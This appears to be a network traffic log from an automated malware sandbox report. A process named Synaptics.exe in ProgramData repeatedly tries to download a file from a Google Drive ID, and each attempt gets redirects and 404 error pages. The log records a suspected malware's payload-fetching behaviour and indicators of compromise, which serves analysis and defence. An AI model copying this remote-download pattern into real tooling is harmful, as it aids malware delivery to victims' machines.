2024-12-05 23:15:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-LgpMmz1Apy5-Pch24m816A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49846	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:41 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-0yjgkv6KLcQ4XTOeAspS1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49850	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:43 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-298oBLJERKb8xV1zFp_TFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49851	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:43 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-sXzrxhXBey6A-23nWaXiPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49852	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:43 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:44 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:44 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-ntlq2e4rItCp83X-sRhk3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC5eIK-gtnULMPzzby4CJEI8ud2lOuMUWeQIia4cxom3d8ArF-ZJebrML_riJNnqa0SgEpk6_dlVyg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:44 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:44 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 62 41 45 77 67 78 31 46 63 31 50 2d 77 56 69 6d 51 5f 58 5a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="ybAEwgx1Fc1P-wVimQ_XZg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:44 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49853	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:43 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:45 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:44 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ml3yh1X72R3YFDnoUzp-eA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC7HpVkV5sCAUk02T3pW-TGh5YrA1S60YVJyFAI5gQYqtQS_DMrZogr4vQCmH2PxkOpHtgPx0GPSXA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:45 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:45 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 77 72 5f 59 52 43 57 62 75 4a 4d 4d 71 47 4a 78 36 56 63 6f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="gwr_YRCWbuJMMqGJx6VcoA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:45 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49861	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:46 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-L8_9wB3kqRwn33V_3QXfSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49862	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:46 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-8AHgAf103cylrnmLDFZuBw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49871	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:50 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-B8qSfwrAbOb8wWmu3AwsqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49872	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:50 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-ST3eGNoHaYptPbhKlEiXhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49876	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:53 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NYPcFENbxWjVDro07GGy0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49877	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:53 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:54 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:54 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gIb6Hkquxuha7iIyZG89Hw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC5UzwPD8IRErznQdWj7UH4uqX8F-UdcmVJyPcelk_HBuY-Mup7T5zXZRUFGpisXmILfQKPUfI4MQg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
